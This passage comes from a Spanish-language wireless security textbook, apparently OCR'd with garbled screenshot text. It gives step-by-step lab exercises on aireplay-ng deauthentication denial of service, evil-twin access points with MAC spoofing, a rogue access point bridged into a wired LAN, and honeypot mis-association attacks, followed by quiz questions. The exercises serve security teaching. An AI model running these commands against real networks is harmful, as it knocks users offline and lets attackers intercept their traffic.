En el ambito de este libro, hablaremos de ataques De-autenticacion a la infraestructura inaldmbrica de
la red LAN mediante el siguiente experimento.

Parte practica —Atague de de-autenticacion DoS

Siga estas instrucciones para comenzar:

1. Vamos a configurar la red Wireless Lab para utilizar la autenticacion abierta y sin codificacion.
Esto nos permitira ver los paquetes con Wireshark facilmente:

Product Page: DIR-615 Hardware Version: B2 Firmware Version: 2.23

Use this section to configure the wireless settings for your D-Link Router. Please note that
changes made on this section may also need to be duplicated on your Wireless Client.
[ Save Settings ] [ Don't Save Settings ]

not contain any

personal informatior
WIRELESS NETWORK SETTINGS Erable Ato Chares
Enable Wireless : [7] apays +

Wireless Network Name : ireless Lab (Also called the SSID)
802.11 Mode : Mixed 802.11n, 802.11g and 802.11b +
Enable Auto Channel Scan : [

Wireless Channel :  2.462GHz-CH 11
ission Rate : Best ~ (Mbit/s)
Channel Width : 20 MHz -

Visibility Status : @ Visible © Invisble

WIRELESS SECURITY MODE

To protect your privacy you can configure wireless security features. This device supports three
wireless security modes, including WEP, WPA-Personal, and WPA-Enterprise. WEP is the original
wireless encryption standard. WPA provides 3 higher level of security. WPA-Personal does not
require an authentication server. The WPA-Enterprise option requires an external RADIUS server.

e
Security Mode :  None - your

reless network.

WIRELESS

2. Vamos a conectar a un cliente de Windows en el punto de acceso. Vemos la conexion en la pantalla
de airodump-ng:



- Shell - Konsola

Session Edit View Bookmarks Settings Help

CH 11 1[ Elapsed: 20 s ][ 2011-03-05 06:50

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:21:91:D2:8E:25 -9 100 203 4 © 11 54 . OPN Wireless Lab
BSSID STATION PWR  Rate Lost Packets Probes
00:21:91:D2:8E:25 60:FB:42:D5:E4:01 -35 0 -36e 251 8

3. Ahora en la médquina atacante, iniciamos un ataque dirigido de de-autenticacion:

sslon Edit View Bookm

:~# alreplay-ng --deauth 1 -a 00:21:91:D2:8E:25 -h 00:21:91:D2:8E:25 -c 60:FB:42:D5:E4:01 mon@® *
The interface MAC (00:C0:CA:3E:BD:93) doesn't match the specified MAC (-h).

ifconfig mon@ hw ether 00:21:91:D2:8E:25
06:57:59 Waiting for beacon frame (BSSID: ©0:21:91:D2:8E:25) on channel 11
06:58:00 Sending 64 directed DeAuth. STMAC: [60:FB:42:D5:E4:01] [ 2|63 ACKs]

H

#

Hon
=1 |

Settings  Help

4. Tenga en cuenta como el cliente se desconecta del punto de acceso. Podemos verificarlo en la
misma pantalla de airodump-ng, asi:

- Shell - Konsole

Session Edit View Bookmarks Settings Help

CH 11 ][ Elapsed: 32 s ][ 2011-03-05 07:00

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:21:91:D2:8E:25 -6 73 315 0 0 11 54e. OPN Wireless Lab
BSSID STATION PWR  Rate Lost Packets Probes

6.  Sise utiliza Wireshark para ver el trafico, te dards cuenta de que nos acaba de enviar un montén
de paquetes de de-autenticacion:

fle Edt view Go Cspture Anslyze Statistics Lielp

BENee mEX AesaFrEEaar @08 % 3
ser| | 4 Erprossion..| & cloor| < noply|
Mo | e [anss Tossinesion Torotocel Jite E

TFEE 802 Reacon frame, SN=33S4, FN=0, Fla
IEEE 802 Deauth

SS2 10.443725  Shanghai_S3:
0.. £0:1b: 42:

IEEE 902 Deauthentication,
1EsE 802 Deauthentication,

01 (Ra TERE 802 Acknawlodgument, Ll
155 o0z Desuthentication,
<70 10.46717
571 10.471341
572 10.471040 .

Frame 554 (39 bytes on wire, 39 bytes captured)
Radiotap Header vO, Length 13

TEEE 802.11 Doauthentication, Flags: ........
IEEE £02.11 wireless LAN management frame

©Z 80 0z 0O 02 00 OL 00 O <O 00 3a
Joor1o 01 60 fb 42 dS ¢4 01 0O 21 91 d2 80 25 00 21 A
o020 d2 8o 25 40 06 07 0O

{Profie: Defaukt
——




6. Podemos hacer el mismo ataque mediante el envio de difusiéon de de-autenticacién de
paquetes (broadcast de-authentication packet) hacia el punto de acceso de la red inaldmbrica.
Esto tendra el efecto de desconectar todos los clientes conectados:

) root@bt: ~ - Shell - Konsole <2>

Session Edit View Bookmarks Settings Help

:~# aireplay-ng --deauth © -a 00:21:91:D2:8E:25 -h 00:21:91:D2:8E:25 mon®
The interface MAC (00:CO:CA:3E:BD:93) doesn't match the specified MAC (-h).
ifconfig mon® hw ether 00:21:91:D2:8E:25
07:03:54 Waiting for beacon frame (BSSID: 00:21:91:D2:8E:25) on channel 11
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).

07:03:55 Sending DeAuth to broadcast -- BSSID: [00: :8E:25]
¢} 55 Sending DeAuth to broadcast -- BSSID: [00 :8E:25]
0 :56 Sending DeAuth to broadcast -- BSSID: [00: :8E:25]
07:03:56 Sending DeAuth to broadcast -- BSSID: [00: :8E:25]
07 : :57 Sending DeAuth to broadcast -- BSSID: [00: :8E:25]
(€] 57 Sending DeAuth to broadcast -- BSSID: [00 :8E:25]
) 58 Sending DeAuth to broadcast -- BSSID: [00 :8E:25]
07:03:58 Sending DeAuth to broadcast -- BSSID: [00: :8E:25]
07:03:59 Sending DeAuth to broadcast -- BSSID: [00: :8E:25]
07:03:59 Sending DeAuth to broadcast -- BSSID: [00: :8E:25]

¢Qué ha pasado?

Hemos enviado con éxito frames de de-autenticacidn al punto de acceso y el cliente. Esto se ha traducido en
conseguir que se desconecte y una pérdida completa de comunicacién entre ellos.

También hemos enviado paquetes de difusién de de-autenticacion, que asegurara que ningun cliente en las
cercanias se pueda conectar correctamente al punto de acceso.

Es importante tener en cuenta que tan pronto como el cliente se desconecta, intentard volver a conectarse de
nuevo al punto de acceso y por lo tanto el ataque de de-autenticacién tiene que llevarse a cabo de manera
sostenida para tener un efecto de ataque de denegacion de servicio completo.

Este es uno de los ataques mas faciles de orquestar, pero tiene el efecto mas devastador. Esto podria ser
facilmente utilizado en el mundo real para tirar una red inaldmbrica.

Inténtalo -Ataque de desasociaci

Trata de ver cédmo se puede llevar a cabo un ataque de desasociacidn contra la infraestructura con las
herramientas disponibles en BackTrack. ¢ Puedes hacer un ataque de desasociacion?

Evil twin y suplantacion de identidad de punto de acceso MAC

Uno de los ataques mas potentes en las infraestructuras WLAN es el Evil twin. La idea es, basicamente introducir
un punto de acceso controlado por el atacante en las inmediaciones de la red WLAN. Este punto de acceso se
anuncia con el mismo SSID exacto de la red WLAN legitima.

Muchos usuarios de redes inaldmbricas accidentalmente pueden conectarse a este punto de acceso malicioso y
pensar que es parte de la red autorizada. Una vez que se establece la conexion el atacante puede orquestar un
man-in-the-middle y mantener de forma fluida un re-envio del trafico mientras que escucha toda la
comunicacion. Vamos a ver cdmo se lleva a cabo man-in-the-middle en el capitulo posterior. En el mundo real lo
ideal es que el atacante estuviera cerca de la red autorizada, para que el usuario se confunda y accidentalmente
se conecte a su red.

Un Evil twin que tiene la misma direccién MAC como un punto de acceso autorizado es aun mas dificil de
detectar y disuadir. Aqui es donde la suplantacion MAC del punto de acceso comienza! En el siguiente
experimento, vamos a ver cdmo crear un Evil twin, junto con la suplantacion del punto de acceso MAC.



Parte practica —Evil twin y suplantacion de MAC

Siga estas instrucciones para comenzar:

1. Use airodump-ng para localizar el BSSID del punto de acceso y el ESSID que nos gustaria emular
en el Evil twin:

mna root@bt: ~ - Shell - Konsole
Session Edit View Bookmarks Settings Help
CH 2 ][ Elapsed: 0 s ][ 2011-03-05 08:31
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:1E:40:53:02:FC -46 2 ] 6 11 54 WPA TKIP PSK vivek
00:21:91:D2:8E:25 -33 4 ] 6 11 54 . OPN Wireless Lab
BSSID STATION PWR  Rate Lost Packets Probes
~C

= |

2. Conectamos un cliente inaldmbrico al punto de acceso:

Session Edit View Bookmarks Settings Help

CH 11 ][ Elapsed: 0 s ][ 2011-03-05 08:33

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:22:7F:65:0A:99 -67 [¢] 1 7 0 11 54e. WPA2 CCMP  MGT <length: 0>
00:17:7C:09:CF:10 -70 [¢] 14 [¢] 0 11 54e WPA TKIP PSK Sunny
00:1E:40:53:02:FC  -40 [¢] 16 (¢} 0 11 54 WPA TKIP PSK vivek
00:21:91:D2:8E:25 -18 [¢] 15 [¢] 0 11 54 . OPN Wireless Lab
BSSID STATION PWR Rate Lost Packets Probes
00:21:91:D2:8E:25 60:FB:42:D5:E4:01 -20 0 -36e 575 11 Vivek

~C

—# 11

3. Utilizando esta informacion, se crea un nuevo punto de acceso con el mismo ESSID pero diferentes
BSSID y direccion MAC con el comando airbase-ng:

nE root@bt: ~ - Shell - Konsole <2>
Session Edit View Bookmarks Settings Help

:~# airbase-ng -a AA:AA:AA:AA:AA:AA --essid "Wireless Lab" -c 11 mon@
08:36:20 Created tap interface ate
08:36:20 Trying to set MTU on at® to 1500
08:36:20 Access Point with BSSID AA:AA:AA:AA:AA:AA started.

4. Este nuevo punto de acceso también aparece en la pantalla de airodump-ng. Esimportante
tener en cuenta que tendra que ejecutar airodump-ng en una nueva ventana con el siguiente
comando airodump-ng - channel 11 wlanO para ver este nuevo punto de acceso:

Session Edit View Bookmarks Settings Help

CH 11 ][ Elapsed: 0 s ][ 2011-03-05 08:39

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:17:7C:09:CF:10 -70 [c] 8 0] ©® 11 54e WPA TKIP PSK Sunny
00:1E:40:53:02:FC  -40 [¢] 23 [¢] 0 11 54 WPA  TKIP PSK  vivek
AA:AA:AA:AA:AA:AA 0 100 41 [¢] 0 11 54 OPN Wireless Lab
00:21:91:D2:8E:25 -7 [¢] 20 1 ® 11 54 . OPN Wireless Lab
BSSID STATION PWR Rate Lost Packets Probes
00:21:91:D2:8E:25 60:FB:42:D5:E4:01 -21 0 -36e 159 2
~C

~# 1




5. Ahora enviamos una trama de de-autenticacion para el cliente, por lo que se desconecta
inmediatamente y trata de volver a conectar:

=lE] root@bt: ~ - Shell - Konsole
Session Edit View Bookmarks Settings Help

:~# aireplay-ng --deauth 0 -a 00:21:91:D2:8E:25 mon®
08:41:02 Waiting for beacon frame (BSSID: 00:21:91:D2:8E:25) on channel 11
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).

08:41:02 Sending DeAuth to broadcast -- BSSID: [00:21:91:D2:8E:25]
08:41:03 Sending DeAuth to broadcast -- BSSID: [00:21:91:D2:8E:25]
08:41:04 Sending DeAuth to broadcast -- BSSID: [00:21:91:D2:8E:25]
08:41:05 Sending DeAuth to broadcast -- BSSID: [00:21:91:D2:8E:25]

08:41:06 Sending DeAuth to broadcast -- BSSID: [00:21:91:D2:8E:25]
08:41:07 Sending DeAuth to broadcast -- BSSID: [00:21:91:D2:8E:25]
08:41:08 Sending DeAuth to broadcast -- BSSID: [00:21:91:D2:8E:25]
08:41:09 Sending DeAuth to broadcast -- BSSID: [00:21:91:D2:8E:25]
08:41:09 Sending DeAuth to broadcast -- BSSID: [00:21:91:D2:8E:25]
08:41:10 Sending DeAuth to broadcast -- BSSID: [00:21:91:D2:8E:25]
08:41:11 Sending DeAuth to broadcast -- BSSID: [00:21:91:D2:8E:25]
08:41:12 Sending DeAuth to broadcast -- BSSID: [00:21:91:D2:8E:25]
08:41:13 Sending DeAuth to broadcast -- BSSID: [00:21:91:D2:8E:25]
08:41:14 Sending DeAuth to broadcast -- BSSID: [00:21:91:D2:8E:25]

08:41:15 Sending DeAuth to broadcast -- BSSID: [00:21:91:D2:8E:25]
08:41:16 Sending DeAuth to broadcast -- BSSID: [00:21:91:D2:8E:25]
08:41:17 Sending DeAuth to broadcast -- BSSID: [00:21:91:D2:8E:25]
08:41:17 Sending DeAuth to broadcast -- BSSID: [00:21:91:D2:8E:25]
08:41:18 Sending DeAuth to broadcast -- BSSID: [00:21:91:D2:8E:25]

08:41:19 Sending DeAuth to broadcast -- BSSID: [00:21:91:D2:8E:25]
08:41:20 Sending DeAuth to broadcast -- BSSID: [00:21:91:D2:8E:25]
08:41:21 Sending DeAuth to broadcast -- BSSID: [00:21:91:D2:8E:25]
08:41:22 Sending DeAuth to broadcast -- BSSID: [00:21:91:D2:8E:25]
08:41:23 Sending DeAuth to broadcast -- BSSID: [00:21:91:D2:8E:25]
08:41:24 Sending DeAuth to broadcast -- BSSID: [00:21:91:D2:8E:25]
08:41:24 Sending DeAuth to broadcast -- BSSID: [00:21:91:D2:8E:25]

6. Cuanto mas nos acercamos a este cliente, nuestra fuerza de sefial es mas alto y se conecta a
nuestro punto de acceso duplicado malicioso (Evil twin) como se muestra en las pantallas siguientes:

root@bt: ~ - Shell - Konsole

Session Edit View Bookmarks Settings Help

CH 11 ][ Elapsed: 0 s ][ 2011-03-05 08:43

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:17:7C:09:CF:16 -71 0 2 [c] 0 11 54e WPA TKIP PSK Sunny
:8E: -6 0 9 0 6 11 54 . OPN Wireless Lab
-1 0 0 7 0158 -1 WPA <length: 0>
: o 0 21 45 0 11 54 OPN Wireless Lab
00:1E:40:53:02:FC -39 0 10 [c] 0 11 54 WPA TKIP PSK vivek
BSSID STATION PWR  Rate Lost Packets Probes
AA:AA:AA:AA:AA:AA 60:FB:42:D5:E4:01 -14 0-1 [c] 112 Wireless Lab
~C
~# I
ne root@bt: ~ - Shell - Konsole <2>

Session Edit View Bookmarks Settings Help

:~# airbase-ng -a AA:AA:AA:AA:AA:AA --essid "Wireless Lab" -c 11 mon@
08:39:15 Created tap interface ato

08:39:15 Trying to set MTU on at® to 1500

08:39:15 Access Point with BSSID AA:AA:AA:AA:AA:AA started.

08:43:07 Client 60:FB:42:D5:E4:01 associated (unencrypted) to ESSID: "Wireless Lab"
08:43:07 Client 60:FB:42:D5:E4:01 associated (unencrypted) to ESSID: "Wireless Lab"
08:43:07 Client 60:FB:42:D5:E4:01 associated (unencrypted) to ESSID: "Wireless Lab"
08:43:07 Client 60:FB:42:D5:E4:01 associated (unencrypted) to ESSID: "Wireless Lab"
08:43:07 Client 60:FB:42:D5:E4:01 associated (unencrypted) to ESSID: "Wireless Lab"
08:43:07 Client 60:FB:42:D5:E4:01 associated (unencrypted) to ESSID: "Wireless Lab"
08:43:07 Client 60:FB:42:D5:E4:01 associated (unencrypted) to ESSID: "Wireless Lab"
08:43:07 Client 60:FB:42:D5:E4:01 associated (unencrypted) to ESSID: "Wireless Lab"
08:43:07 Client 60:FB:42:D5:E4:01 associated (unencrypted) to ESSID: "Wireless Lab"
08:43:07 Client 60:FB:42:D5:E4:01 associated (unencrypted) to ESSID: "Wireless Lab"
08:43:07 Client 60:FB:42:D5:E4:01 associated (unencrypted) to ESSID: "Wireless Lab"

!




7. También se puede falsificar la BSSD y la direccion MAC del punto de acceso mediante el siguiente
comando:

nE root@bt: ~ - Shell - Konsole <2>
Session Edit View Bookmarks Settings Help

:~# airbase-ng -a 00:21:91:D2:8E:25 --essid "Wireless Lab" -c 11 mon@
08:45:58 Created tap interface ato
08:45:58 Trying to set MTU on at@® to 1500
08:45:59 Access Point with BSSID 00:21:91:D2:8E:25 started.
08:46:10 Client 60:FB:42:D5:E4:01 associated (unencrypted) to ESSID: "Wireless Lab"

8. Ahora bien, si vemos a través de airodump—-ng es casi imposible diferenciar entre ambos:

Session Edit View Bookmarks Settings Help

CH 11 ][ Elapsed: 0 s ][ 2011-03-05 08:47

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:22:7F:65:0A:99 -1 0 0 3 0158 -1 WPA <length: 0>
00:1E:40:53:02:FC -40 0 10 0 6 11 54 WPA TKIP PSK vivek
00:17:7C:09:CF:10 -72 @ 8 0 6 11 54e WPA TKIP PSK Sunny
00:21:91:D2:8E:25 -1 0 30 [¢] 0 11 54e OPN Wireless Lab
BSSID STATION PWR  Rate Lost Packets Probes
00:21:91:D2:8E:25 60:FB:42:D5:E4:01 -14 0 -1 0 1 Wireless Lab

~C

= |

9. Incluso airodump-ng es incapaz de diferenciar que en realidad hay dos puntos de acceso fisico en el mismo
canal. Esta es la forma mds potente de Evil twin.

¢Qué ha pasado?

Hemos creado un duplicado malicioso de la red autorizada y se utiliza un ataque de-autenticacion para que el
cliente legitimo se conecte de nuevo pero esta vez a nosotros en lugar de al punto de acceso legitimo.

Es importante sefialar que en el caso del punto de acceso autorizado haga uso de encriptacién WEP/WPA, podria
ser mas dificil de llevar a cabo un ataque en el que la escucha del trafico puede ser posible. Vamos a ver como
romper la clave WEP con un cliente que utilizando el ataque Caffe Latte en un capitulo posterior.

Inténtalo —Evil twin y saltes de canal

En el ejercicio anterior, ejecuta el Evil twin en diferentes canales y observa cémo el cliente, una vez desconectado
salta los canales para conectar con el punto de acceso. ¢Cual es el factor decisivo en el que el cliente decide
conectarse el punto de acceso? (Es fuerza de la sefial? Experimentar y validar.

Un punto de acceso renegado (Rogue access point o punto de acceso no autorizado) es un punto de acceso no
autorizado conectado a la red autorizada o legitima. Por lo general, este punto de acceso puede ser utilizado
como backdoor por un atacante, lo que le permitira pasar por alto todos los controles de seguridad en la red.
Esto significaria que los cortafuegos, los sistemas de prevencién de intrusos y asi sucesivamente que protegen la
frontera de una red seria capaz de hacer muy poco para que le denegara el acceso a la red.



Lo mds comun es que un punto de acceso no autorizado esté establecido en autenticacién abierta y sin
codificacion. El punto de acceso renegado ( Rogue Access Point) se puede crear de dos maneras:

1. La instalacion de un dispositivo fisico real en la red autorizada como punto de acceso no autorizado. Esto va a
ser algo que dejo como ejercicio para usted. Ademas de la seguridad inaldmbrica, esto tiene que ver con la
violacion de la seguridad fisica de la red autorizada.

2. Crear un punto de acceso no autorizados a través del software y puentear con la red local autorizada de la red
Ethernet. Esto permitira que practicamente cualquier ordenador portatil que se ejecutan en la red autorizada
funcione como un punto de acceso no autorizados. Vamos a ver esto en el siguiente experimento.

Parte practica — Punto de acceso ilegitimo
Siga estas instrucciones para comenzar:

1.  Primero vamos a plantear nuestro punto de acceso ilegitimo utilizando airbase-ngy darle el
ESSID Rogue:

mE root@bt: ~ - Shell - Konsole

Session Edit View Bookmarks Settings Help

:~# airbase-ng --essid Rogue -c 11 mon@
11:01:49 Created tap interface ato
11:01:49 Trying to set MTU on at® to 1500
11:01:49 Access Point with BSSID 00:C0:CA:3E:BD:93 started.

2. Ahora queremos crear un puente entre la interfaz Ethernet con la parte de la red autorizada y
nuestra interfaz Rogue de punto de acceso. Para ello lo primero que vamos a crear es una interfaz de
puente y de nombre Wifi-Bridge:

Session Edit View Bookmarks Settings Help

# brctl addbr Wifi-Bridge
##

3. A continuacion, se afiaden la Ethernet y la interfaz virtual atO creada por airbase-ng para este
puente:

—#

#

# brctl addif wifi-Bridge etho
# brctl addif wifi-Bridge ato

#
= |

4. A continuacion, se traen estas interfaces hasta el puente

Session Edit View Bookmarks Settings Help

:~# ifconfig eth® 0.0.0.0 up
# ifconfig at® 0.0.0.0 up
#

#
= |

5. A continuacion, se habilitar el reenvio IP en el kernel para asegurar que los paquetes se envian:

Session Edit View Bookmarks Settings Help

:~# echo 1 > /proc/sys/net/ipv4/ip_forward
~#

= |




6. Hemos terminado. Ahora cualquier cliente inaldmbrico que se conecta a nuestro punto de acceso
Rogue tendra acceso completo a la red autorizada utilizando la conexién inaldmbrica a cableada
(wireless-to-wired) "Wifi-bridge" que acaba de construir. Podemos comprobar esto en primer lugar
conectando a un cliente al punto de acceso no autorizado. Una vez conectado, si esta utilizando Vista,
la pantalla podria tener el siguiente aspecto:

= o=
I\ 5 Set Network Location
Successfully set network settings

/‘ Network name: Rogue
| Location type: Private
g This allows you to see other computers and

devices, while making your computer
discoverable.

v or change network and sharing settings in Network and Sharing Center

¢ computers and devices on the network

7. Notaremos que recibe una direccion IP desde el demonio DHCP que trabaja en la LAN autorizada:

offll Wireless Metwork Connection Status 2] ]

MNetwork Connection Details =3

Network Connection Details:

Property Value
Connection-specific DN

Description Intel(R) WiFi Link 5100
Physical Address 00-22-FB-35-FC-44
DHCP Enabled No

IPv4 IP Address 1592.168.1.10

IPv4 Subnet Mask 255.255.255.0

|Pv4 Default Gateway 15216811

IPv4 DNS Server 159216811

IPv4 WINS Server

MetBIOS over Tepip En...  Yes

Link4ocal IPvE Address fe80::693dfad3:1424:c015% 11
|PvE Default Gateway

IPv6 DNS Server

8. Ya podemos acceder a cualquier host de la red de cable de este cliente inaldmbrico usando este
punto de acceso no autorizados. A continuacidn, se hacer ping a la puerta de enlace en la red de cable:



B8 CMD Shell _|o] x|

c ="\ >ping 192 _168.1.1

Pinging 192.168.1.1 with 32 bytes of data:
Reply from 192.168.1.1: bhytes=32 time=3ms
Reply from 192_.168.1.1: hytes=32 i

Reply from 192.168.1.1: hyte 2

Reply from 192.168.1.1: hytes=32

Ping statistics for 192.168.1.1:

Packets: Sent = 4, Received = 4, Lost = B {(Bx loss>.
Approximate round trip times in milli-seconds:

Minimum = 2ms,. Maximum = 3ms,. Average = 2ms

SRR

Hemos creado un punto de acceso no autorizado y lo utilizamos para cubrir todo el trafico autorizado de la red
LAN sobre la red inaldmbrica. Como puedes ver, esta es una amenaza a la seguridad serio ya cualquier persona
puede entrar en la red cableada utilizando este puente.

Inténtelo-Desafio de punto de acceso rogue|

Comprobar si se puede crear un punto de acceso no autorizado, que utiliza el cifrado WPA/WPA2 en el punto
legitimo de la red inaldambrica.

1. ¢Qué hace cifrado usa un punto de acceso dudoso (acces point rogue) en la mayoria de los casos?
a. Ninguno
b. WEP
c. WPA
d. WPA2
2. En Evil Twin, teniendo la misma direccion MAC del punto de acceso autorizado:
a. Hace la deteccion del Evil Twin mas dificil
b. Obliga al cliente a conectarse a ella
c. Aumenta la intensidad de la sefial de la red

d. Ninguna de las anteriores



3. Los ataques DoS:
a. Reducen el rendimiento general de la red
B. No tiene de objetivo a los clientes
c. Sélo se puede hacer si sabemos de las credenciales WEP/WPA/WPA2 de red
d. Todas las anteriores
4. Puntos de acceso rogué ( o ilegitimos):
a. Ofrecen una entrada de backdoor en la red autorizada
b. Usan sélo el cifrado WPA2
c. Se puede crear como un punto de acceso basado en software o puede ser un dispositivo real
d. Ambos (a) y (c)

En este capitulo, hemos explorado las siguientes maneras de comprometer la seguridad de la
infraestructura inaldmbrica LAN:

. Comprometiendo las cuentas por defecto y las credenciales de los puntos de acceso
. Haciendo ataques de denegacion de servicio

. Evil Twins y suplanar la MAC

. Puntos de acceso Rogue en la red de la empresa

En el siguiente capitulo, vamos a ver en diferentes ataques en el cliente inalambrico LAN. Curiosamente, la
mayoria de los administradores creen que el cliente no tiene problemas de seguridad de que preocuparse.
Vamos a ver cdmo nada podria estar mas lejos de la realidad.



Atacando a los clientes

"La seguridad es tan fuerte como el eslabén mas débil".

! La mayoria de pruebas de penetracién parecen dar toda la atencién a la infraestructura WLAN
y no la dan al cliente inaldmbrico, incluso alguna parte de esto. Sin embargo, es interesante
sefialar que un hacker puede tener acceso a la red autorizada por comprometer a un cliente
inaldmbrico.

En este capitulo, vamos a cambiar nuestro enfoque de la infraestructura WLAN al del cliente inaldmbrico. El
cliente puede estar conectado o de forma aislada como cliente no asociado. Vamos a ver varios ataques que
pueden ser utilizados para atacar el cliente.

Vamos a cubrir los siguientes:

. Honeypot y ataque Mis-Asotiation

e  Ataque Caffe Latte

. Ataques de de-autenticacidn y des-asociacion
° Ataque Hierte

. Cracking AP-lessy WPA-Personal

Honeypot y atagque Mis-Assoctiation

Normalmente, cuando un cliente inaldambrico como un ordenador portatil se enciende probara las redes a las que
se ha conectado anteriormente. Estas redes almacenan en una lista lamada lista de redes preferidas (PNL o
Preferred Network List) en sistemas basados en Windows. Ademas, junto con esta lista, se mostraran todas las
redes disponibles en ese rango.

Un hacker puede hacer un par de cosas:

1. Probar un silencioso sondeo en modo monitor y crear un punto de acceso falso con el mismo ESSID
que el cliente esta buscando. Esto hara que el cliente se conecte a la maquina de hackers, pensando
que es el legitimo de la red.



2. Se pueden crear puntos de acceso falsos con los mismos ESSID cercanos para confundir al usuario y
que este trate de conectarse a él. Este tipo de ataques son muy faciles de llevar a cabo en cafeterias y
aeropuertos donde un usuario puede estar buscando conectarse a una red Wi-Fi.

Estos ataques se denominan ataques honeypot, que ocurren debido a errores de la asociacion del punto de
acceso y conectarse al de los hackers pensando que es el legitimo.

En el siguiente ejercicio, vamos a hacer estos dos ataques en nuestro laboratorio.

Parte practica — Orquuestando un atague Mis-Assoctiation

Siga estas instrucciones para comenzar:

1. En las sesiones anteriores, se utilizé un cliente que habia conectado al punto de acceso Wireless
Lab. Vamos a cambiar el cliente pero no el punto de acceso inaldambrico de laboratorio. Vamos ahora
a ejecutar airodump-ng monO y comprobar la salida. Veremos pronto que el cliente esta en el
modo de no asociados e intentard Wireless Lab y otros SSID inaldmbricos que tiene almacenado en
su perfil (como se muestra Vivek):

root@bt: ~ - Shell - Konsole

Session Edit View Bookmarks Settings Help

CH 3 ][ Elapsed: 2 mins ][ 2011-63-23 11:17

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:1E:40:53:02:FC -50 17 1454 0 0 1 54 WPA TKIP PSK vivek
00:25:5E:17:C8:00 -71 @ 4 [} @ 1 54 WEP WEP swapnil
00:25:5E:17:C8:02 -70 @ 3 0 @ 1 54 OPN <length: @>
00:25:5E:17:C8:01 -70 @ 3 0 6 1 54 OPN <length: ©>
00:25:5E:17:C8:03 -70 @ 3 [} 6 1 54 OPN <length: ©>
BSSID STATION PWR  Rate Lost Packets Probes

(not associated) 00:16:44:19:DF:0A -63 -1 ] 21

(not associated) ©0:24:D2:FE:7F:09 -70 8-1 0 5

(not associated) 90:4C:E5:30:42:6C -72 0-1 0 4

(not associated) 00:26:B6:11:67:E5 -72 0 -1 43 5 FinAirWifi

(not associated) 60:FB:42:D5:E4:01 -63 0 -1 0 144 Wireless Lab,Vivek
00:1E:40:53:02:FC (C8:BC:(8:EE:12:0B -63 1-1 0 45 vivek

I

()| @ shet

2. Para entender lo que esta pasando, vamos a ejecutar Wireshark y empezar a capturar en la interfaz
mon0. Como era de esperar podra ver una gran cantidad de paquetes que no son pertinentes para
nuestro analisis. Aplicaremos un filtro para mostrar sélo los paquetes Wireshark Probe Request de la
MAC del cliente que esta utilizando:



| Protoco | Info

IEEE BU.BEacon Trame, SN=25, FN=U, FLags=........ BI=IUU, SSIU="VIVEK
IEEE 80.Probe Request, SN=1793, FN=0, Flags C, SSID=Broadcast
IEEE 80.Probe Request, SN=1795, FN=0, Flags=........ C, SSID=Broadcast
IEEE 80.Beacon frame, SN=67, FN=0, Flags=........ C, BI=100, SSID="vivek"
IEEE 80.Beacon frame, SN=89, FN=0, Flags=........ C, BI=100, SSID="vivek"
IEEE 80.Beacon frame, SN=110, FN=0, Flags=........ C, BI=100, SSID="vivek"
IEEE 80.Beacon frame, SN=131, FN=0, Flags=........ C, BI=100, SSID="vivek"
IEEE 80.Beacon frame, SN=153, FN=0, Flags=........ C, BI=100, SSID="vivek"
IEEE 80.Probe Request, SN=1798, FN=0, Flags=........ C, SSID="Wireless Lab"
IEEE 80.Beacon frame, SN=174, FN=0, Flags=........ C, BI=100, SSID="vivek"
IEEE 80.Probe Request, SN=1799, FN=0, Flags C, SSID="Wireless Lab"
IEEE 80.Probe Request, SN=1800, FN=0, Flags=........ C, SSID="Wireless Lab"
IEEE 80:Beacon frame, SN=217, FN=0, Flags=........ C, BI=100, SSID="vivek"
IEEE 80.Probe Request, SN=1802, FN=0, Flags=........ C, SSID="Wireless Lab"
IEEE 80.Beacon frame, SN=238, FN=0, Flags=........ C, BI=100, SSID="vivek"

3. En mi caso, el filtro es wlan.fc.type_subtype == 0x04 && wlan.sa == 60:FB:42:D5:E4:01 .Ahora debe
ver los paquetes Probe Request del cliente GUnicamente para los SSID Vivek y Wireless Lab:

[
‘ Protoco ! Info

80:Probe Request, E SSID=Broadcast
IEEE 80.Probe Request, SN=1798, FN=0, Flags=........ C, SSID="Wireless Lab"
IEEE 80.Probe Request, SN=1799, FN=0, Flags=........ C, SSID="Wireless Lab"
IEEE 80.Probe Request, SN=1800, FN=0, Flags=........ C, SSID="Wireless Lab"
IEEE 80.Probe Request, SN=1802, FN=0, Flags=........ C, SSID="Wireless Lab"
IEEE 80.Probe Request, SN=1806, FN=0, Flags=........ C, SSID="Wireless Lab"
IEEE 80.Probe Request, SN=1809, FN=0, Flags= ........ C, SSID="Vivek"
IEEE 80.Probe Request, SN=1811, FN=0, Flags: ........ C, SSID="Vivek"
IEEE 80.Probe Request, SN=1812, FN=0, Flags=........ C, SSID="Vivek"
IEEE 80.Probe Request, SN=1813, FN=0, Flags=........ C, SSID="Vivek"
IEEE 80.Probe Request, SN=1819, FN=0, Flags=........ C, SSID="vivek"
IEEE 80.Probe Request, SN=1820, FN=0, Flags=........ C, SSID="Wireless Lab"
IEEE 80.Probe Request, SN=1822, FN=0, Flags=........ C, SSID="Wireless Lab"
IEEE 80.Probe Request, SN=1824, FN=0, Flags=........ C, SSID="Wireless Lab"
IEEE 80.Probe Request, SN=1830, FN=0, Flags=........ C, SSID="Wireless Lab"

4. Vamos a iniciar un punto de acceso falso para la red Wireless Lab en el equipo de hackers con el
comando que se muestra a continuacion:

root@bt: ~ - Shell - Konsole

Upn Edit View Bookmarks Settings Help

:~# airbase-ng --essid "Wireless Lab" -c 3 mon®
12:47:59 Created tap interface at®
12:47:59 Trying to set MTU on at® to 1500
12:47:59 Trying to set MTU on mon® to 1800
12:48:00 Access Point with BSSID 00:C0:CA:3E:BD:93 started.

5. Dentro de un minuto o asi, el cliente se conectara a nosotros de forma automdtica. Esto demuestra
lo facil que es hacerlo con clientes no asociados.



no root@ht: ~ - Shell - Konsole

